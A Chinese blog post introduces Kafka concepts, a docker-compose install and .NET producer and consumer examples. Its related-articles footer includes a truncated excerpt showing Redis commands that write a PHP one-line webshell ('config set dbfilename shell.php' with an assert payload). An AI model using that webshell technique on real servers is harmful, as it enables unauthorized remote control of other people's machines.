最近维护的一个系统并发有点高,所以想引入一个消息队列来进行削峰。考察了一些产品,最终决定使用kafka来当做消息队列。以下是关于kafka的一些知识的整理笔记。

kafka

kafka 是分布式流式平台。它由linkedin开发,后贡献给了Apache开源组织并成为顶级开源项目。它可以应用在高并发场景下的日志系统,也可以当作消息队列来使用,也可以当作消息服务对系统进行解耦。



流处理平台有以下三种特性:

  1. 可以让你发布和订阅流式的记录。这一方面与消息队列或者企业消息系统类似。
  2. 可以储存流式的记录,并且有较好的容错性。
  3. 可以在流式记录产生时就进行处理。

一般它可以应用于两个场景:

  1. 构造实时流数据管道,它可以在系统或应用之间可靠地获取数据。 (相当于message queue)
  2. 构建实时流式应用程序,对这些流数据进行转换或者影响。 (就是流处理,通过kafka stream topic和topic之间内部进行变化)

broker

kafka中的每个节点即每个服务器就是一个broker 。

topic

kafka中的topic是一个分类的概念,表示一类消息。生产者在生产消息的时候需要指定topic,消费者在消费消息的时候也需要指定topic。

partition

partition是分区的概念。kafka的一个topic可以有多个partition。每个partition会分散到不同的broker上,起到负载均衡的作用。生产者的消息会通过算法均匀的分散在各个partition上。

consumer group

kafka的消费者有个组的概念。一个partition可以被多consumer group订阅。每个消息会广播到每一个group中。但是每个消息只会被group中的一个consumer消费。相当于每个group,一个partition只能有一个consumer订阅,所以group中的consumer数量不可以超过topic中partition的数量。并且消息的消费的顺序在每个partition中是保证有序的,但是在多个partition之间是不保证的,因为consumer的消费速度是有快慢的。

所以如果要用kafka实现严格的消息队列点对点模式那么我们可以设置一个partition并且设置一个consumer。如果对消息消费的顺序不是那么敏感,那么可以设置多个partition来并行消费消息,提高吞吐量。

安装kafka

为了能体验下kafka,我们还是要实际安装一下kafka,毕竟空想是没有用的。现在有了docker,安装起来也是相当滴简单。我们只需要定义好docker-compose的yml就行了。

version: '3'
services:
zookeeper:
image: wurstmeister/zookeeper
ports:
- "2181:2181"
kafka:
image: wurstmeister/kafka
depends_on:
- zookeeper
ports:
- "9092:9092"
environment:
KAFKA_ADVERTISED_HOST_NAME: 192.168.0.117
KAFKA_CREATE_TOPICS: "test:3:1"
KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181

我们在yml里定义2个service:

  1. zookeeper,kafka的分布式依赖zookeeper,所以我需要先定义它。
  2. kafka ,kafka的定义有几个地方要注意的。
  • depends_on:zookeeper 指定kafka依赖zookeeper这个service,当启动kafka的时候自动会启动zookeeper。
  • KAFKA_ADVERTISED_HOST_NAME 这里要指定宿主机的ip
  • KAFKA_CREATE_TOPICS 这个变量只是的默认创建的topic。"test:3:1"代表创建一个名为test的topic并且创建3个分区1个复制。

定义好这些之后我们只需要使用docker-compose命令运行它:

sudo docker-compose up -d

.net 操作 kafka

安装好kafka的docker环境之后,下面演示下如何使用.net操作kafka,进行消息的生产与消费。

生产者

        static async Task Main(string[] args)
{
Console.WriteLine("Hello World Producer!"); var config = new ProducerConfig
{
BootstrapServers = "192.168.0.117:9092",
ClientId = Dns.GetHostName(),
}; using (var producer = new ProducerBuilder<Null, string>(config).Build())
{
string topic = "test";
for (int i = 0; i < 100; i++)
{
var msg = "message " + i;
Console.WriteLine($"Send message: value {msg}");
var result = await producer.ProduceAsync(topic, new Message<Null, string> { Value = msg });
Console.WriteLine($"Result: key {result.Key} value {result.Value} partition:{result.TopicPartition}");
Thread.Sleep(500);
}
} Console.ReadLine(); }

新建一个控制台项目,从nuget安装kafka的官方client。

Install-Package Confluent.Kafka

代码非常简单,使用ProducerBuilder构造一个producer,然后调用ProduceAsync方法发送消息。

其中需要注意的是如果你的场景并发非常之高,官方文档推荐的方法是Produce而不是ProduceAsync。这是一个比较迷的地方。按常理使用ProduceAsync应该比使用同步方法Produce能获得更高的并发才对。但是文档确确实实说高并发场景请使用Produce。可能是为了避免ProduceAsync结果返回的时候异步线程上下文切换造成的性能开销。

原文:

There are a couple of additional benefits of using the Produce method. First, notification of message delivery (or failure) is strictly in the order of broker acknowledgement. With ProduceAsync, this is not the case because Tasks may complete on any thread pool thread. Second, Produce is more performant because there is unavoidable overhead in the higher level Task based API.

消费者

        static void Main(string[] args)
{
Console.WriteLine("Hello World kafka consumer !"); var config = new ConsumerConfig
{
BootstrapServers = "192.168.0.117:9092",
GroupId = "foo",
AutoOffsetReset = AutoOffsetReset.Earliest
}; var cancel = false; using (var consumer = new ConsumerBuilder<Ignore, string>(config).Build())
{
var topic = "test";
consumer.Subscribe(topic); while (!cancel)
{
var consumeResult = consumer.Consume(CancellationToken.None); Console.WriteLine($"Consumer message: { consumeResult.Message.Value} topic: {consumeResult.Topic} Partition: {consumeResult.Partition}");
} consumer.Close();
}
}

消费者的演示代码同样很简单。我们需要指定groupId,然后订阅topic。使用ConsumerBuilder构造一个consumer,然后调用Consume方法进行消费就可以。

注意:

这里默认是自动commit消费。你也可以根据情况手动提交commit。

运行一下



我们运行一个生产者进程,按照500ms的速度生产消息。运行三个consumer进行消费,可以看到消息被均匀的推送到三个consumer上去。

总结

以上简单的介绍了kafka的背景、安装方法、使用场景。还简单演示了如何使用.net来操作kafka。它可以当作流式计算平台来使用,也可以当作传统的消息队列使用。它当前非常流行,网上的资料也多如牛毛。官方也提供了简单易用的.net sdk ,为.net 平台集成kafka提供了便利。

关注我的公众号一起玩转技术

.Net Core 集成 Kafka的更多相关文章

  1. asp.net core mcroservices 架构之 分布式日志(三):集成kafka

    一 kafka介绍 kafka是基于zookeeper的一个分布式流平台,既然是流,那么大家都能猜到它的存储结构基本上就是线性的了.硬盘大家都知道读写非常的慢,那是因为在随机情况下,线性下,硬盘的读写 ...

  2. Kafka基础教程(四):.net core集成使用Kafka消息队列

    .net core使用Kafka可以像上一篇介绍的封装那样使用(Kafka基础教程(三):C#使用Kafka消息队列),但是我还是觉得再做一层封装比较好,同时还能使用它做一个日志收集的功能. 因为代码 ...

  3. asp.net core集成CAP(分布式事务总线)

    一.前言 感谢杨晓东大佬为社区贡献的CAP开源项目,传送门在此:.NET Core 事件总线,分布式事务解决方案:CAP 以及 如何在你的项目中集成 CAP[手把手视频教程],之前也在工作中遇到分布式 ...

  4. net core集成CAP

    net core集成CAP https://www.cnblogs.com/guolianyu/p/9756941.html 一.前言 感谢杨晓东大佬为社区贡献的CAP开源项目,传送门在此:.NET ...

  5. Spring boot 集成Kafka

    搭建Kafka集群,参考: https://www.cnblogs.com/jonban/p/kafka.html 源码示例如下: 1.新建 Maven 项目 kafka 2.pom.xml < ...

  6. nginx lua集成kafka

    NGINX lua集成kafka 第一步:进入opresty目录 [root@node03 openresty]# cd /export/servers/openresty/ [root@node03 ...

  7. springboot集成Kafka

    kafka和MQ的区别: 1)在架构模型方面, RabbitMQ遵循AMQP协议,RabbitMQ的broker由Exchange,Binding,queue组成,其中exchange和binding ...

  8. Storm集成Kafka应用的开发

    我们知道storm的作用主要是进行流式计算,对于源源不断的均匀数据流流入处理是非常有效的,而现实生活中大部分场景并不是均匀的数据流,而是时而多时而少的数据流入,这种情况下显然用批量处理是不合适的,如果 ...

  9. ABP官方文档翻译 6.2.1 ASP.NET Core集成

    ASP.NET Core 介绍 迁移到ASP.NET Core? 启动模板 配置 启动类 模块配置 控制器 应用服务作为控制器 过滤器 授权过滤器 审计Action过滤器 校验过滤器 工作单元Acti ...

随机推荐

  1. 微信小程序:如何实现两个按钮在最右侧并排

    要实现的效果: wxml端代码: <view  class="prepare_param">                         <view clas ...

  2. git相关问题

    1.git查看远程分支更新到本地 git clone 项目地址,示例如下: git clone https://github.com/zhongyushi-git/vue-test.git 在拉取时, ...

  3. SpringBoot以war包形式部署到外部Tomcat

    SpringBoot 项目打包时能打成 .jar 与 .war包文件,.jar使用 java -jar xx.jar 就可以启动,而 .war 可以部署到tomcat的 webapps 中,随tomc ...

  4. kali 将家目录下的中文文件名修改成英文

    修改vim ~/.config/user-dirs.dirs 打开`文件,删除那些中文目录 在目录下创建英文目录 重启 参考 https://elementaryos.stackexchange.co ...

  5. [00]数字图像处理-matlab速成

    原本听的是mooc武汉大学的数字图像处理课程,但是无奈老师读ppt的能力太强,不太适应,后面的课程对于实验方面的要求甚低,无奈之下到处找课程,终于找到了一个适合自己的教程<王伟强-数字图像处理& ...

  6. MySql数据库列表数据分页查询、全文检索API零代码实现

    数据条件查询和分页 前面文档主要介绍了元数据配置,包括表单定义和表关系管理,以及表单数据的录入,本文主要介绍数据查询和分页在crudapi中的实现. 概要 数据查询API 数据查询主要是指按照输入条件 ...

  7. redis一句话木马控电脑

      (1)在redis管理工具内写入木马并保存: 输入命令行: config set dbfilename shell.php set shell "<?php @assert($_P ...

  8. WAV16T VPX国产化千兆交换板

      WAV16T是基于盛科CTC5160设计的国产化3U三层千兆VPX交换板,提供16路千兆电口,采用龙芯 2K1000处理器.支持常规的L2/L3协议,支持Telnet.SNMP.WEB,CLI等多 ...

  9. C# 应用 - 封装类访问 Mysql 数据库

    个人经历的项目主要都是用 Postgresql 或 Oracle 数据库,本文非原创,从他处整理而来. 1. 库类 mysql.data.dll using MySql.Data.MySqlClien ...

  10. WPF 基础 - 事件

    1. 前言 WPF 事件的路由环境是 UI 组件树,先来看看这棵树. 1.1 Logical Tree 和 Visual Tree WPF 中的树有两种,一颗是逻辑树,另一颗也是逻辑树. 开玩笑,WP ...